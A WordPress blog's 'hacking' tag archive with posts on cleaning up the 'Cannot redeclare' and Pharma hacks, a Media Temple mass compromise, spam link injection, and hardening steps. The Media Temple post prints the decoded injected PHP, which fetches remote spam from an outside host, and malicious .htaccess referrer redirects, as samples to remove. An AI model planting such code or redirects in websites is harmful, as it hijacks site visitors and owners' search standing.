Digging into WordPress » hacking

Clean Up “Cannot redeclare” Hack

Jeff Starr — Fri, 18 Nov 2011 22:44:09 +0000

One of my clients was hacked with the so-called “Cannot redeclare” hack. It seems closely related to the nefarious TimThumb hack, so if you’ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect shared servers, so if you host multiple WordPress sites, chances are high that they’re all infected.

Checking for the “Cannot redeclare” hack

The good news is that the hack is easy to diagnose. Just open any page from your site and look for the following PHP error message:

Fatal error: Cannot redeclare _765258526() 
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1

PHP errors like this are usually located at the bottom of the web page, but may appear elsewhere or even not all in some cases (i.e., proper configuration). To be certain, scan your server’s PHP error logs for the “Cannot redeclare” error string. If you find anything that matches, it’s time to fix your site..

About the “Cannot redeclare” hack

If your site’s been hit with “Cannot redeclare”, you’re in for a wild clean-up party because it infects every index.php and footer.php file for every WordPress site on the server.

For example, my client hosted 11 sites on the same shared account, so multiply that by the number of index and footer files used by WordPress (core files and themes) and you get over 200 hacked files to clean up. Needless to say the client’s sites have been moved to a more secure location.

Fortunately finding the hacked index files is relatively painless, just search all files on your server for the following phrase:

eval(gzun

Here is a screenshot showing search results for this phrase:

As seen here, the hacked files should be easy to recognize because they:

include the eval(gzun search term
include long strings of encoded gibberish
consist of index.php and footer.php files

If your search turns up anything that similar but not quite what we’re talking about here, it may or may not be legit. The main thing that we’re looking for are the long strings of encoded nonsense. Also, remember to check all sites that you may have on the same server. Once you’ve isolated the infected files, it’s time to clean ‘em up..

Removing the “Cannot redeclare” hack

Looking at any of the hacked files, you’ll find this hideous looking piece of code garbage:

Disgusting stuff, and if you don’t see it at first, that doesn’t mean it’s not there. The scumbags who deal in this filth are clever enough to indent the code so it appears off-screen (via horizontal scrollbar). It’s a clever trick, but most text editors have a limit to the number of characters that appear on each line, so the super-long string of encoded gibberish wraps and becomes easy to spot:

Notice it there in the last line.. it’s like that for all teh files. And again, if you don’t see anything then look for it off-screen. Once you find it, delete it. Then repeat for all index and footer files on your server. Once you’ve done that the “Cannot redeclare” hack should be gone, but you should take steps to prevent future attacks..

Securing your WordPress site

For public websites, there is no such thing as perfect security. There are many ways to improve security, however, including finding a more secure host for your sites. In general, private or some sort of virtual private hosting is better than shared hosting (for many reasons), but it’s also more expensive. Hosting is one of those things where you get what you pay for.. so if you have the means, upgrading to a better, more secure host is the first thing I would consider.

Beyond switching hosts, there are a number of known effective measures you can take to improve the security of your site. There are many excellent resources available to help with site security (both for WordPress and in general), including an entire Lynda.com video/screencast series that focuses in-depth on devloping secure WordPress sites. Even more recently is Daniel Pataki’s Smashing WP article on securing your WordPress website. And if you want to hear it direct from the horse’s mouth, check out the good ‘ol fashioned WP Codex for info on hardening WordPress.

More help..

There’s currently not a lot of info on the “Cannot redeclare” hack, but this WP Forum thread provides some additional clues. If you have any information regarding this hack, or how it relates to the TimThumb hack, please leave a comment to share the information with others in the WP community. Thanks.

WordPress Security Lockdown

Jeff Starr — Mon, 12 Jul 2010 21:04:44 +0000

This article is split into two parts for ez reference. First some information on the evil WordPress “Pharma Hack”, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure:

Pharmaceutical Apocalypse

A few weeks ago, DigWP.com was hit with the so-called Pharma Hack. We discovered the hack after some Google results turned up all sorts of spammy pharmaceutical garbage littered throughout posts, links, and titles. The tricky part about the hack is that it injects the spam garbage only when your site’s pages are requested by a search bot (e.g., googlebot). So when you view your pages in a browser, everything seems perfectly normal. Put simply, the hack is cloaked. We had no idea anything was wrong until about two weeks after the attack. During that time a majority of our search engine results were nuked with evil pharma spam. Ick.

Flash forward three weeks later and things are locked-down tight. The Pharma Hack has not returned, and most of the spam garbage in the search results has been filtered out and replaced with clean pages. At the time of the attack, DigWP was running WordPress 2.9/3.0 without any sort of additional site security. We were just using whatever “default” protection available from either WordPress or Media Temple. After detecting the hack, several days were spent cleaning it up and locking things down. At first, it seemed like an impossible hack to fix – nothing seemed to work. We ran through the following routine, hoping to fix it:

Locate and remove hacked 404.php file
Locate and remove hacked content from database
Replace entire set of salt keys
Upload new WordPress files
Restore previous versions of other files
Restore database to previous version

These actions alleviate the symptoms, but they don’t even touch the actual virus, which somehow regenerates the (base64) encoded spam script. As far as we know, the Pharma Hack works like this:

Evil script gains access to your WordPress site
Encoded spam script injected into database
Script inserts spam garbage into pages requested by search bots
Script makes no changes to pages requested by browsers

Within the database, the spam script is generated in any/all of these option_name fields:

class_generic_support
widget_generic_support
wp_check_hash
ftp_credentials
rss_[string] e.g.,
rss_7988287cd8f4f531c6b94fbdbc4e1caf

If these fields are present and contain super-long strings of encoded gibberish, your site’s infected. You can assess the damages by examining the search results for your site (note: other spam keywords may be used):

site:digwp.com cipro OR meridia OR cialis

If you’re hit, hopefully you catch it before googlebot crawls along. But even if you have thousands of hacked pages appearing in the search index, it’s not too late to clean things up and secure your site. Here is how we did it..

WordPress Security Lockdown

This security strategy is best implemented on new sites. It just makes everything (like renaming table prefixes) so much easier. Either way, you want to start with a clean batch of files. Upload a fresh copy of WordPress, update your plugins, theme files, and so on. You may want to redirect visitors to a maintenance page while you work on your site. That said, here is our five-step Security Lockdown for WordPress:

[1] File Permissions

After uploading fresh files, the next step is to ensure proper file permissions. WordPress defaults to 644 for files and 755 permissions for folders. Make sure these are set properly. While cleaning up, we noticed some crazy permission settings for sensitive files. For example, wp-config.php was set to 777 – executable and writable by the entire world!! Make sure you don’t see anything like that, and if you do, fix it.

[2] File Protection

In addition to setting proper file permissions, we can also lock down key files with .htaccess. There are numerous files to protect, perhaps most importantly the wp-config.php file, which contains your database login information. Place the following code in your site’s root .htaccess file to protect it:

# SECURE WP-CONFIG.PHP

 Order Deny,Allow
 Deny from all

You may also want to password-protect your wp-admin directory, but it may cause more trouble than it’s worth.

[3] Database Protection

Changing the default table prefix is one of the best ways to protect your database. Malicious scripts need targets, and default targets are easy to hit. Change wp_ to something more like a password. Some random string like “crUQZPadESeKSy8Q_” will make your tables difficult to hit. Like having a built-in password for your database :)

There are two ways to change your prefixes: the easy way and the hard way. The easy way is to add the following line to your wp-config.php file before installing WordPress (important: change the random string to something unique):

$table_prefix  = 'crUQZPadESeKSy8Q_'; // custom table prefix

Do that before running the install script and WordPress takes care of the prefix naming automagically when it creates the database. Going forward, there is no reason not to change default prefixes for all future WordPress installs. For existing sites, you can do it the hard way using a plugin or doing it manually.

[4] Essential Plugins

After exploring the vast crop of WordPress security plugins, we narrowed it down to four plugins that collectively do just about everything in the easiest way possible:

WP File Monitor

This plugin tracks changes made to your files. If/when anything changes, it notifies you via Admin Dashboard alert and/or email alert. So anytime a file is changed, moved, added, or removed, WP File Monitor lets you know. Here is a list of features:

Monitors file system for added/deleted/changed files
Sends email when a change is detected
Multiple email formats for alerts
Administration area alert to notify you of changes in case email is not received
Ability to monitor files for changes based on file hash or timestamp
Ability to exclude directories from scan
Site URL included in notification email in case plugin is in use on multiple sites

This is one of my favorite plugins. It’s perfect for keeping an eye on things. If anyone gets in and messes around with your files, you’ll know about it immediately, and even better, you’ll know exactly which files have been affected.

WP Security Scan

This plugin scans your WordPress installation for security vulnerabilities and suggests corrective actions. The scan report informs you of any problems with file permissions, system variables, and much more:

Passwords
File permissions
Database security
Version hiding
WordPress admin protection/security
Removes WP Generator META tag from core code

WP Security Scan also provides a nice summary of server information and latest scan information. Performing a new scan is immediate with the click of a button. Very easy.

Ultimate Security Check

This plugin provides even more security information, helping you to identify potential issues with your WordPress installation. It scans your site for “hundreds of known threats,” and then “grades” your level of site security. Here are some of the key things it checks:

Checks for updates
Checks configuration file
Checks if config file is located in unsecured place
Checks presence of install script
Checks server configuration
Checks database
Checks code

And quite a bit more. The best part about Ultimate Security Check is that it’s so easy to use.

Secure WordPress

This plugin takes care of all those “little” things. Instead of installing a bunch of smaller plugins or custom functions for this stuff, the Secure WordPress plugin does it all for you:

Removes error-information on login-page
Adds index.php plugin-directory (virtual)
Removes the wp-version, except in admin-area
Removes Really Simple Discovery
Removes Windows Live Writer
Remove core update information for non-admins
Remove plugin-update information for non-admins
Remove theme-update information for non-admins (only WP 2.8 and higher)
Hide wp-version in backend-dashboard for non-admins
Block Bad Queries

Having all of this (and much more) done with a few clicks in the WordPress Admin is easy and effective.

[5] Important Details

The previous four steps comprise the majority of our security lockdown, but there are some important details to consider:

Keep your WordPress install, plugins, themes, and scripts updated with current versions
Use strong passwords and change them often
Disable user registration if not needed/used for your site
Check roles and permissions for all users
Clean up and consolidate old/loose files
Remove unused plugins and themes
Check permissions of upload, upgrade, and backup directories
Keep a backup of your site files
Keep your database optimized and backed up

We did these things here at DigWP.com, but certain tips may not apply to every site. As a side note, despite our new security lockdown, I am still concerned/confused about how to handle the upload, upgrade, and backup directories. It seems dangerous to leave these folders set with 777 permissions, and for many shared hosts, that seems to be the required setting. I would be interested in hearing any ideas about securing these directories.

Bottom Line

There is no such thing as perfect security. If someone wants in bad enough, they’re going to find a way, despite your best efforts at staying secure. Fortunately, most malicious scripts target the least common denominator, default WordPress installs. At the very least, ensure proper file permissions, secure wp-config.php, and use unique database prefixes. Together, these three steps will put your site out of reach for a vast majority of malicious scripts and other automated attacks. Of course, there are many other ways to strengthen your site’s security, depending on how far you want to go with it. The lockdown strategy presented in this article provides strong security in the most efficient way possible, but there is always room for improvement, so share your ideas and help the community secure their WordPress.

Media Temple, WordPress, Mass Hacking

Chris Coyier — Thu, 26 Nov 2009 14:47:12 +0000

Update: Media Temple is saying that:

They aren’t 100% sure the cause, but yes, it is their fault.
About 10% of all (gs) users were affected.
It’s not WordPress specific, it’s PHP specific.
Definitely change your passwords, definitely don’t change it back to the original password.

A number of people (Michael Torbert, Kyle Brady, Jeffrey Barke, Adrian Hanft) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:

Dear Valued Customer,

This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.

When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. In poking around a bit, it doesn’t look like Digging Into WordPress was affected. Thank god…

Some of the facts I’m seeing around:

The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)
It may be a result of passwords being stored/sent in plain text
Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites.
Some folks are blaming Media Temple, others blaming WordPress

Files to check on your own sites

index.php

Which evaluates to this:

$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;

Links are being inserted into the page before the tag:

.htaccess

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

.nfs* (unnamed file in root of server)

Fixing It

We weren’t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)

Ideas for Plugins I’m Too Lazy To Write

Chris Coyier — Thu, 08 Oct 2009 14:36:53 +0000

… or slightly more accurately, that I don’t know how to write =)

Subtitle

I think it would be a cool format for a blog to have a title and a subtitle for every single Post. You could easily do it with Custom Fields, but this plugin would alter the Admin screen for writing posts to insert an additional text area underneath the title and above the content area.

Then there would be a special function for displaying the subtitle like:

Rich Text Titles

Speaking of titles, it would be cool if we were able to use HTML tags in titles sometimes. For example, just being able to add tags to a word in the title would be cool, but that causes problems currently. It might display OK on your site, but it may cause validation problems (since the tags will show up inside title attributes and such) and may come across screwed up in feed readers. This plugin would alter the the_title() function to automatically strip the HTML tags, but create a new function like the_title_html() that would retain the tags for display anywhere you want to make sure they persist. This would ensure the RSS feed remains unscathed.

Plugin Notes

Ever look through your list of plugins and forget just exactly what one of them does? I know they have descriptions next to them, but that doesn’t always speak to exactly what you are using it for and why. This plugin would just put a text field in each plugin field you could type some notes in there, theoretically to keep information about why and how you are using this plugin.

You’d probably have to also add buttons/links for adding & removing notes.

Notify All Admins

On this blog we have two admins: me and Jeff. When I write and publish a post, and someone comments, I get an email about it (but Jeff doesn’t). When Jeff writes and publishes a post, and someone comments, he gets an email about it (but I don’t). Since this is both of our sites, I wouldn’t mind getting ALL comment notifications. But I’m not sure if Jeff feels the same way. So this plugin would just add an extra user option (only active for full site admins):

Title Un-Widower

There is a pretty robust plugin called WP-Typography that covers widows in post titles. I give it props, but my personal preference is to handle 90% of what it does on my own. What I can’t do on my own is add non-breaking spaces to the last two words in a post title (one of the things it does). I currently do this with jQuery on some sites which is OK, but would be better done with PHP so it happens before the page renders no matter what.

So if there are already plugins out there that do this stuff, I apologize. I admit I didn’t launch a giant manhunt to find existing plugins that did these things.

© 2009 Digging into WordPress | Permalink | 27 comments | Add to del.icio.us | Post tags: hacking, plugin, title

Spam Link Injection Hacked (and How I Hopefully Fixed It)

Chris Coyier — Tue, 30 Jun 2009 13:16:48 +0000

Just recently my other blog CSS-Tricks was hacked. I first found out by a very helpful reader emailing me a screenshot from the mobile version of my site.

The mobile version of my site was built by Mobify, so I contacted them right away. As I should of known, of course Mobify can’t insert content into a site, they only are a presentation layer on top of the already existing content. They were very quick and helpful with their response and sent me some useful links to what the problem might be.

This of course meant that the site itself was hacked. Time is of the essence at this point, because not only do I not want my visitors seeing nasty spam, I don’t want Google bot to cruise through and see the mess and hurt my SEO. I immediately set out to figure out where these spam links were being inserted from.

I had this happen to me years ago and it turned out the theme files themselves were altered and spam injected that way. I took a look through all of them quickly and didn’t see anything. I could see from the source on the site that the links were being inserted after the content on each post. I could also see at this point that the links were identical on each post. This seemed like a theme file injection to me, but clearly it wasn’t.

I popped open the WordPress Admin itself and checked out a post. Low and behold, there the links were, right in the content for each post. I checked out a number of them, new and old, and there were all the same. At this point, there were two possibilities. The Admin was compromised giving someone access in there and the ability to edit posts or the Database itself was compromised.

Due to the speed of the attack, the fact that all the links were the same, and that over 500 Posts/Pages were identically altered, I concluded it must have been a database attack.

Here is what I did:

I changed the Admin username and password. Just to make sure that the Admin itself was secure, this login and password must be changed. Since you cannot change usernames after they are created, I created a new account with a new password, logged in with that, and deleted the original account, attributing all posts to the new account.

I changed the server admins username and password. My site is managed by Plesk, which has a login and password to itself. If someone had access to this, they could access the Database. It is unlikely this was compromised, but to cover all the bases, this was changed as well.

The database name, database username, and database password was changed. Changing the database password might have been enough, but just to be as difficult as possible I changed both the username and the password. The database name was changed later after the cleanup (see below).

I changed the FTP login and password. If the hacker had this, they could have altered the theme files or opened the wp-config.php file to find the database credentials.

The XMLRPC file was removed. This file is used for pingback and trackbacks as well as remote editing possibilities like posting by email. I literally use none of these things, and this file has been responsible for security problems in the past, so I removed it.

The file permissions where checked. In particular, I found the wp-config.php file was set at 775, I changed it to 755. I also made sure that none of the file were world writeable except the very few that need to be, like the uploads folder.

What the spam insertion looked like

viagra\r\nfree viagra\r\n ... lots more ...

That “style” attribute (inline CSS), when rendered in a typical browser, converted to display: none; and thus were not visible. For whatever reason, when Mobify picked up this content, that weird string of characters wasn’t converted and thus the div was visible not hidden.

The reason I’m sure the hackers chose this technique is that the blog owner may never realize the links were inserted because they aren’t typically visible. I would think that Google doesn’t give any link credit to links that are in a container with display: none, but perhaps the hacker’s theory is that the google bot won’t be able to tell this div is hidden because of the weird code.

I would be interested to know if Google can be duped with this technique. It seems like they would be smart enough to detect it, yet I wouldn’t be surprised if the site is penalized anyway due to being compromised by spam.

How I Removed the Links

Luckily the code that was inserted in every single Post/Page was identical. I downloaded a fresh copy of the Database (as a .SQL file), opened it up in TextMate (any text editor with find/replace will do) and did a find/replace on the block of spammy code (replaced it with nothing). Then I saved a new copy of it and created a new database on the server (hence the change in DB name). I imported the new fixed SQL file and posted WordPress at the new database.

Crossing My Fingers

It’s been a week now, and no more problems. I pray that what I have done has fixed whatever the hole was, but of course I can’t be 100% certain because I’m not 100% certain what it was to begin with. Of course, posting all this information surely doesn’t make me any more secure but oh well. I of course have serious backups going on so the worst thing that can happen is I get hacked again and have to restore from backups and keep plugging holes.

Consequences

Although the spam wasn’t on my site for more than a few hours, someone has pointed out to me that my Google PageRank for the homepage has dropped from a reasonable and healthy PR 6 to ZERO. While PageRank is a very weird thing and it could be any number of things including a random inaccurate report from Google, it seems more likely this is a penalization from them for the spam. Many of my subpages, which get crawled far less frequently, still have their PageRank. It’s not just the PageRank, many searches that would have brought up the homepage (e.g. my own name) are now far down the SERP pages when they used to be #1. This of course will be seriously affecting my traffic until my PageRank is restored, if it ever is.

CSS-Tricks, is non-trivial portion of my income, and if there is a serious dip in traffic it could certainly affect me financially. I’m not whining, it just goes to show that site security is not some abstract nerdy hobby, it’s serious business that can have serious consequences.

© 2009 Digging into WordPress | Permalink | 29 comments | Add to del.icio.us | Post tags: database, hacking, spam